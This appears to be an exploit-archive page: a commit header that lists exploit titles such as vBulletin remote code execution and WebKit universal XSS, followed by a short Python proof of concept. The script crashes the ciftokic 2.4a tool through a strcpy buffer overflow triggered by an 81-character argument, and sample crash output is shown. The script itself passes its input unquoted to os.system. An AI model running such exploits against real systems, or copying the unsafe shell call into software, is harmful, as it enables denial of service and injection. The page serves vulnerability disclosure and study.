4eaf273757
9 changes to exploits/shellcodes kic 2.4a - Denial of Service WebKit - UXSS Using JavaScript: URI and Synchronous Page Loads WebKit - Universal XSS in WebCore::command WebKit - User-agent Shadow root Leak in WebCore::ReplacementFragment::ReplacementFragment WebKit - Universal XSS Using Cached Pages DameWare Remote Support 12.1.0.34 - Buffer Overflow (SEH) vBulletin 5 - 'routestring' Remote Code Execution vBulletin 5 - 'cacheTemplates' Remote Arbitrary File Deletion vBulletin 5.x - 'routestring' Remote Code Execution vBulletin 5.x - 'cacheTemplates' Remote Arbitrary File Deletion PHP 7.1 < 7.3 - disable_functions Bypass vBulletin 5.0 < 5.5.4 - Unauthenticated Remote Code Execution DotNetNuke < 9.4.0 - Cross-Site Scripting
46 lines
No EOL
1.4 KiB
Python
Executable file
46 lines
No EOL
1.4 KiB
Python
Executable file
# Exploit Title: Ciftokic 2.4a - DoS Buffer Overflow
|
|
# Date: September 30, 2019
|
|
# Exploit Author: @JosueEncinar
|
|
# Software Link: http://launchpad.net/ubuntu/+source/kic/2.4a-1
|
|
# Version: 2.4a
|
|
# Tested on: Ubuntu 18.04
|
|
|
|
'''
|
|
If we check the ciftokic.c file on line 52 we see the following code: char CIFFile[81], *Tmp;.
|
|
In line 84 we have the problem with the following instruction: strcpy(CIFFile,argv[1]);
|
|
|
|
If the first argument is 80 characters or less, nothing happens, but if we put from 81 onwards the program fails with a Buffer Overflow.
|
|
'''
|
|
|
|
# To test the code use Python 3.6+
|
|
from os import system
|
|
from sys import argv
|
|
|
|
|
|
def print_usage():
|
|
print("Usage: python3 ciftokic_overflow.py <characters_numbers>")
|
|
print(" |_No Buffer Overflow: python3 ciftokic_overflow.py 80")
|
|
print(" |_Buffer Overflow: python3 ciftokic_overflow.py 81")
|
|
|
|
if len(argv) == 1:
|
|
print_usage()
|
|
else:
|
|
try:
|
|
number = int(argv[1])
|
|
payload = "J"*number
|
|
system(f"ciftokic {payload}")
|
|
except:
|
|
print_usage()
|
|
|
|
|
|
"""
|
|
|
|
Output Example:
|
|
|
|
josue@josue:~/Escritorio$ python3 ciftokic_overflow.py 80
|
|
Error: can't read CIF input file JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
|
|
josue@josue:~/Escritorio$ python3 ciftokic_overflow.py 81
|
|
*** buffer overflow detected ***: ciftokic terminated
|
|
Aborted (core dumped)
|
|
|
|
""" |